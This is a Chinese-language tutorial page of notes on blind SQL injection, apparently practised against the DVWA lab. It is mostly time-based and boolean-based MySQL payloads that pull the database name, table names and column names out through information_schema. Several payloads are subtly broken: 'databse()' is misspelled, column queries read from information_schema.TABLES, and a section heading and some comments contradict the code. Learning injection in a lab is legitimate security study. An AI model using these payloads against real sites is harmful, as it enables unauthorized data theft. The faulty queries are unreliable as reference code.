2. 程式人生 > >SQL注入筆記03：盲注攻擊

SQL注入筆記03：盲注攻擊

阿新 • • 發佈：2019-01-29

普通聯合注入和盲注的區別
普通注入：效率高，相容性差
盲注：效率低，相容性強
工具採用的基本都為盲注及其他注入

********************************************************基於時間延遲的盲注攻擊：********************************************************
sleep()                           //等待一定時間後執行SQL語句，單位為秒，如sleep(3)為等待3秒
if(條件,true,false)          //條件為真返回true值，否則返回false值，如if(a=b,0,5)為如果a等於b則返回0，否找返回5。常用條件：=、<、<=、>、>=
length(str)                    //返回長度
mid(str,start,length)     //擷取字串，從1開始，0以及超過長度部分返回NULL
ord(str)                        //返回字串第一個字元的 ASCII 值。


判斷是否存在注入，注入是字元型還是數字型
輸入1’ and sleep(5) #，感覺到明顯延遲；->'1' and sleep(5)#'
輸入1 and sleep(5) #，沒有延遲；->'1 and sleep(5) #'
說明存在字元型的基於時間的盲注。

輸入1’ and sleep(5) #，沒有延遲；->1' and sleep(5)#
輸入1 and sleep(5) #，感覺到明顯延遲；->1 and sleep(5) #
說明存在數字型的基於時間的盲注。

下面以數字型為例
****************************猜測資料庫****************************
1、猜測資料庫名長度
//如果資料庫名等於猜測長度則返回0，否找返回5。返回0網頁立馬重新整理，返回5網頁延遲重新整理
(url)?x=1 AND SLEEP(IF(LENGTH(DATABASE())=猜測長度,0,3));

2、猜測完整資料庫名
//如果資料庫名等於猜測名則返回0，否找返回5。返回0網頁立馬重新整理，返回5網頁延遲重新整理
(url)?x=1 AND SLEEP(IF(DATABASE()='猜測名',0,3));

3、猜測資料庫指定位置的字元
//猜測第一個字元
(url)?x=1 AND SLEEP(IF(MID(DATABASE(),1,1)='猜測字元',0,3));
//猜測第一個到第N個的字元段
(url)?x=1 AND SLEEP(IF(MID(DATABASE(),1,N)='猜測字元段',0,3));

4、猜測資料庫指定位置的字元的ASCII編碼及範圍
//MID(DATABASE(),2,1)此處為第二個字元
//猜測指定值
(url)?x=1 AND SLEEP(IF(ORD(MID(DATABASE(),2,1))=猜測值,0,3)); 
//猜測指定範圍
(url)?x=1 AND SLEEP(IF(ORD(MID(DATABASE(),2,1))<猜測值,0,3));
(url)?x=1 AND SLEEP(IF(ORD(MID(DATABASE(),2,1))<=猜測值,0,3));
(url)?x=1 AND SLEEP(IF(ORD(MID(DATABASE(),2,1))>猜測值,0,3));
(url)?x=1 AND SLEEP(IF(ORD(MID(DATABASE(),2,1))>=猜測值,0,3));

****************************猜測資料庫表****************************
1、猜測資料庫裡有多少張表
//table_schema=DATABASE()：指定當前資料庫
//SLEEP(IF(COUNT(TABLE_NAME)=表數量,0,3))：如果表數量猜對了則不等待，否找等待3秒
(url)?x=1 UNION SELECT 1,2,3,4,SLEEP(IF(COUNT(TABLE_NAME)=表數量,0,3)) FROM information_schema.TABLES WHERE table_schema=DATABASE();

2、猜測第N個表的名字長度
//union：因為包含查詢查詢操作，所以不用and
//limit 0,1：只讀取第一條資料，即資料庫下面第一個表的名字。limit 開始位置，長度：limit 5,6為查詢結果裡第6-11條結果
//=猜測值：還可以<、<=、>、>=
(url)?x=1 UNION SELECT 1,2,3,4,SLEEP(IF(LENGTH(TABLE_NAME)=猜測值,0,3)) FROM information_schema.TABLES WHERE table_schema=DATABASE() LIMIT 0,1;

3、猜測表名指定位置的字元
//LIMIT 0,1：猜測第一個表名
//猜測第一個字元
UNION SELECT 1,2,3,4,SLEEP(IF(MID(TABLE_NAME,1,1)='指定字元',0,3)) FROM information_schema.TABLES WHERE table_schema=DATABASE() LIMIT 0,1;
//猜測第一個到第N個的字元段
(UNION SELECT 1,2,3,4,SLEEP(IF(MID(TABLE_NAME,1,N)='指定字元段',0,3)) FROM information_schema.TABLES WHERE table_schema=DATABASE() LIMIT 0,1;

4、猜測資料庫表指定位置的字元的ASCII編碼及範圍
//MID(TABLE_NAME,2,1)此處為第二個字元
//猜測指定值
(url)?x=1 UNION SELECT 1,2,3,4,SLEEP(IF(ORD(MID(TABLE_NAME,2,1))=猜測值,0,3)) FROM information_schema.TABLES WHERE table_schema=DATABASE() LIMIT 0,1;
//猜測指定範圍
(url)?x=1 UNION SELECT 1,2,3,4,SLEEP(IF(ORD(MID(TABLE_NAME,2,1))<猜測值,0,3)) FROM information_schema.TABLES WHERE table_schema=DATABASE() LIMIT 0,1;
(url)?x=1 UNION SELECT 1,2,3,4,SLEEP(IF(ORD(MID(TABLE_NAME,2,1))<=猜測值,0,3)) FROM information_schema.TABLES WHERE table_schema=DATABASE() LIMIT 0,1;
(url)?x=1 UNION SELECT 1,2,3,4,SLEEP(IF(ORD(MID(TABLE_NAME,2,1))>猜測值,0,3)) FROM information_schema.TABLES WHERE table_schema=DATABASE() LIMIT 0,1;
(url)?x=1 UNION SELECT 1,2,3,4,SLEEP(IF(ORD(MID(TABLE_NAME,2,1))>=猜測值,0,3)) FROM information_schema.TABLES WHERE table_schema=DATABASE() LIMIT 0,1;

****************************猜測資料庫表列****************************
1、猜測資料庫裡有多少張表
//table_name='city'：以city表為例
//table_schema=DATABASE()：指定當前資料庫
//SLEEP(IF(COUNT(column_name)=列數量,0,3))：如果列數量猜對了則不等待，否找等待3秒
(url)?x=1 UNION SELECT 1,2,3,4,SLEEP(IF(COUNT(column_name)=列數量,0,3)) FROM information_schema.COLUMNS WHERE table_schema=DATABASE() AND table_name='city';

2、猜測第N個列的名字長度
//union：因為包含查詢查詢操作，所以不用and
//limit 0,1：只讀取第一條資料，即資料庫下面第一個列的名字。limit 開始位置，長度：limit 5,6為查詢結果裡第6-11條結果
//=猜測值：還可以<、<=、>、>=
(url)?x=1 UNION SELECT 1,2,3,4,SLEEP(IF(LENGTH(column_name)=猜測值,0,3)) FROM information_schema.TABLES WHERE table_schema=DATABASE() AND table_name='city' LIMIT 0,1;

3、猜測列名指定位置的字元
//LIMIT 0,1：猜測第一個列名
//猜測第一個字元
UNION SELECT 1,2,3,4,SLEEP(IF(MID(column_name,1,1)='指定字元',0,3)) FROM information_schema.TABLES WHERE table_schema=DATABASE() AND table_name='city' LIMIT 0,1;
//猜測第一個到第N個的字元段
(UNION SELECT 1,2,3,4,SLEEP(IF(MID(column_name,1,N)='指定字元段',0,3)) FROM information_schema.TABLES WHERE table_schema=DATABASE() AND table_name='city' LIMIT 0,1;

4、猜測列名指定位置的字元的ASCII編碼及範圍
//MID(TABLE_NAME,2,1)此處為第二個字元
//猜測指定值
(url)?x=1 UNION SELECT 1,2,3,4,SLEEP(IF(ORD(MID(column_name,2,1))=猜測值,0,3)) FROM information_schema.TABLES WHERE table_schema=DATABASE() AND table_name='city' LIMIT 0,1;
//猜測指定範圍
(url)?x=1 UNION SELECT 1,2,3,4,SLEEP(IF(ORD(MID(column_name,2,1))<猜測值,0,3)) FROM information_schema.TABLES WHERE table_schema=DATABASE() AND table_name='city' LIMIT 0,1;
(url)?x=1 UNION SELECT 1,2,3,4,SLEEP(IF(ORD(MID(column_name,2,1))<=猜測值,0,3)) FROM information_schema.TABLES WHERE table_schema=DATABASE() AND table_name='city' LIMIT 0,1;
(url)?x=1 UNION SELECT 1,2,3,4,SLEEP(IF(ORD(MID(column_name,2,1))>猜測值,0,3)) FROM information_schema.TABLES WHERE table_schema=DATABASE() AND table_name='city' LIMIT 0,1;
(url)?x=1 UNION SELECT 1,2,3,4,SLEEP(IF(ORD(MID(column_name,2,1))>=猜測值,0,3)) FROM information_schema.TABLES WHERE table_schema=DATABASE() AND table_name='city' LIMIT 0,1;


********************************************************基於布林的盲注攻擊：********************************************************
1.判斷是否存在注入，注入是字元型還是數字型
輸入1，顯示相應使用者存在：
輸入1’ and 1=1 #，顯示存在：
輸入1’ and 1=2 #，顯示不存在：
說明存在字元型的SQL盲注。


2.猜解當前資料庫名
想要猜解資料庫名，首先要猜解資料庫名的長度，然後挨個猜解字元。
輸入1’ and length(database())=1 #，顯示不存在；
輸入1’ and length(database())=2 #，顯示不存在；
輸入1’ and length(database())=3 #，顯示不存在；
輸入1’ and length(database())=4 #，顯示存在：
說明資料庫名長度為4。

下面採用二分法猜解資料庫名。
輸入1’ and ascii(substr(databse(),1,1))>97 #，顯示存在，說明資料庫名的第一個字元的ascii值大於97（小寫字母a的ascii值）；
輸入1’ and ascii(substr(databse(),1,1))<122 #，顯示存在，說明資料庫名的第一個字元的ascii值小於122（小寫字母z的ascii值）；
輸入1’ and ascii(substr(databse(),1,1))<109 #，顯示存在，說明資料庫名的第一個字元的ascii值小於109（小寫字母m的ascii值）；
輸入1’ and ascii(substr(databse(),1,1))<103 #，顯示存在，說明資料庫名的第一個字元的ascii值小於103（小寫字母g的ascii值）；
輸入1’ and ascii(substr(databse(),1,1))<100 #，顯示不存在，說明資料庫名的第一個字元的ascii值不小於100（小寫字母d的ascii值）；
輸入1’ and ascii(substr(databse(),1,1))>100 #，顯示不存在，說明資料庫名的第一個字元的ascii值不大於100（小寫字母d的ascii值），所以資料庫名的第一個字元的ascii值為100，即小寫字母d。
…
重複上述步驟，就可以猜解出完整的資料庫名（dvwa）了。


3.猜解資料庫中的表名
首先猜解資料庫中表的數量：
1’ and (select count (table_name) from information_schema.tables where table_schema=database())=1 # 顯示不存在
1’ and (select count (table_name) from information_schema.tables where table_schema=database() )=2 # 顯示存在
說明資料庫中共有兩個表。

接著挨個猜解表名：
1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 # 顯示不存在
1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=2 # 顯示不存在
…
1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 # 顯示存在
說明第一個表名長度為9。
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 # 顯示存在
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<122 # 顯示存在
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<109 # 顯示存在
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<103 # 顯示不存在
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>103 # 顯示不存在
說明第一個表的名字的第一個字元為小寫字母g。
…

重複上述步驟，即可猜解出兩個表名（guestbook、users）。


4.猜解表中的欄位名
首先猜解表中欄位的數量：
1’ and (select count(column_name) from information_schema.columns where table_name= ’users’)=1 # 顯示不存在
…
1’ and (select count(column_name) from information_schema.columns where table_name= ’users’)=8 # 顯示存在
說明users表有8個欄位。

接著挨個猜解欄位名：
1’ and length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=1 # 顯示不存在
…
1’ and length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=7 # 顯示存在
說明users表的第一個欄位為7個字元長度。

採用二分法，即可猜解出所有欄位名。

相關推薦

SQL注入筆記03：盲注攻擊

普通聯合注入和盲注的區別 普通注入：效率高，相容性差 盲注：效率低，相容性強 工具採用的基本都為盲注及其他注入 ********************************************************基於時間延遲的盲注攻擊：***********

SQL注入筆記02：基於不同引數型別的注入

數字型 $id=$_GET['x'] Select * from news where id=$id 如：?x=1->Select * from news where id=1 注入更改：無 字

SQL注入筆記05：利用和繞過

1、利用當前頁面排版：     如id=1有資料而id=0無資料，則可構造資訊?id=0 union select 1,2,3,user(),version()# 2、利用報錯資訊：     1.ex

Cris 的 Python 資料分析筆記 03：NumPy 矩陣運算和常用函式（重點）

03. 矩陣運算和常用函式（重點） 文章目錄 03. 矩陣運算和常用函式（重點） 1. numpy 矩陣判斷和計算 1.1 與運算 1.2 或運算 1.3 或運算作為矩陣索引賦值

Sql 注入詳解：寬位元組注入+二次注入

sql注入漏洞 原理：由於開發者在編寫操作資料庫程式碼時，直接將外部可控引數拼接到sql 語句中，沒有經過任何過濾就直接放入到資料庫引擎中執行了。 攻擊方式： （1） 許可權較大時，直接寫入webshell 或者直接執行系統命令 （2） 許可權較小時，通過注入獲得管理

轉：Google SQL 注入搜尋列表：2018最新版

這是一個Google注入查詢列表（傻瓜式），更新於2018年；根據一些關鍵字和URL結構，可批量查詢出存在安全隱患的站點。 可以用來搜尋境外的站點來進行SQL注入練習和學習使用，切勿未授權對國內站點進行滲透測試。 SQL注入是一種攻擊者利用未經驗證的輸

JAVA WEB中處理防SQL注入|防XSS跨站指令碼攻擊（咋個辦呢 zgbn）

JAVA WEB中處理防SQL注入|防XSS跨站指令碼 在java web專案中，必然會涉及到從客戶端向服務端提交資料，那麼由於服務端對資料的處理等動作，會因為字串拼接和使用的特殊性，存在一些漏洞被人利用。 這篇文章，主要介紹一下在java web專案中，程

asp.net 360通用防護程式碼,防止sql注入與xss跨站漏洞攻擊

這是360提供的一個aspx公用程式碼,可以防止sql注入漏洞，xss跨站攻擊漏洞，如果您的網站被360掃描，出現sql注入或跨站攻擊等相關漏洞，沒有較好的解決方案，倒是可以採用該方法進下防範。 -----------------使用方法------------

Spark學習筆記03：高階運算元

1.在slave的機器上啟動start-master.sh會出現錯誤的問題如果在mini2上啟動start-master.sh，會出現問題。spark會在mini2本地上啟動master，而不會通過ssh遠端啟動mini1的master。詳細資訊可以之後檢視spark的啟動指

從SQL注入到Getshell：記一次禪道系統的滲透

https://zhuanlan.zhihu.com/p/34275981?utm_source=qq&utm_medium=social此過程為某站點的滲透記錄，過程一波三折，但歸根結底都是粗心大意造成的，不過自我認為在這個排坑的過程中也學習到了很多。確認版本首先可

【20】WEB安全學習----MySQL注入-5(布林型盲注)

布林型盲注例子演示： 本次程式碼不輸出具體的查詢記錄結果，如果存在ID值則輸出一個狀態，不存在ID值則輸出另一個狀態，也不會輸出SQL報錯狀態，為布林型盲注。 <?php header('content-type:text/html;charset=utf-

機器學習筆記03：Normal equation與梯度下降的比較

在《機器學習筆記02》中已經講了多變數的梯度下降法，以及其他的一些小技巧和注意事項。下面來講一種更加數學化的方法，我們稱之為Normal equation，網上也沒找到什麼標準的翻譯，就暫且稱其為矩陣方程法吧。 一、簡單回顧梯度下降 如下圖所示，我們

yii2框架開發之安全xss、csrf、sql注入、檔案上傳漏洞攻擊

常見的漏洞攻擊：1、xss：是跨站指令碼攻擊    分3類：1、儲存型2、反射型3、蠕蟲型2、csrf：是跨站請求偽造攻擊    分2類：1、get型2、post型3、sql注入4、檔案上傳xss攻擊：xss攻擊可以：盜取使用者賬號、也可以盜取後進行非法轉賬、還可以篡改系統資

預防SQL注入筆記

SQL注入如何預防？ 本文參考自owasp，重點是提供清晰，簡單，可操作的指導，以防止應用程式中的SQL注入漏洞。不幸的是，SQL注入攻擊很常見，這是由於兩個因素： SQL注入漏洞的顯著流行 目標的吸引力（即資料庫通常包含應用程式的所有有趣/關鍵資料）。 發生瞭如此多的成功SQL注入攻擊有點可

Spring原始碼閱讀筆記03：xml配置讀取

　　前面的文章介紹了IOC的概念，Spring提供的bean容器即是對這一思想的具體實現，在接下來的幾篇文章會側重於探究這一bean容器是如何實現的。在此之前，先用一段話概括一下bean容器的基本工作原理。顧名思義，bean容器的作用是替我們管理bean物件(簡單的Java類物件)的。不管框架如何強大，還是需

Spring AOP學習筆記03：AOP的核心實現之獲取增強器

　　上文講了spring是如何開啟AOP的，簡單點說就是將AnnotationAwareAspectJAutoProxyCreator這個類註冊到容器中，因為這個類最終實現了BeanPostProcessor介面，並且在其postProcessAfterInitialization()方法中完成了AOP代理物

滲透測試：SQL注入攻擊(ASP)

分類： 滲透測試 SQL注入攻擊是黑客對資料庫進行攻擊的常用手段之一。隨著B/S模式應用開發的發展，使用這種模式編寫應用程式的程式設計師也越來越多。但是由於程式設計師的水平及經驗也參差不齊，相當大一部分程式設計師在編寫程式碼的時候，沒有對使用者輸入資料的合法性進行判斷，使應用程式存在安全隱患。

【SQL注入】盲注優化

SQL注入之盲注優化技術 典型時間型盲注示例程式碼： <?php header('content-type:text/html;charset=utf-8'); @$id=$_GET['id']; //傳參 if(!isset($id)){

sql注入基於布林/時間的盲注詳解

                本來想自己總結寫一篇的，發現有篇寫的很好，轉載mark一個~原文連結：http://www.jb51.net/article/93445.htm基於布林的盲注Web的頁面的僅僅會返回True和False。那麼布林盲注就是進行SQL注入之後然後根據頁面返回的True或者是Fals

【SQL注入技巧拓展】————5、MySQL盲注淺析

前言 所有的測試均為無WAF的情況下進行。 註釋關鍵字 -- # 單行註釋，兩個-連線符後面緊跟著一個空格 # # 單行註釋 /**/ # 多行註釋 實踐效果： mysql> SELECT username,password FR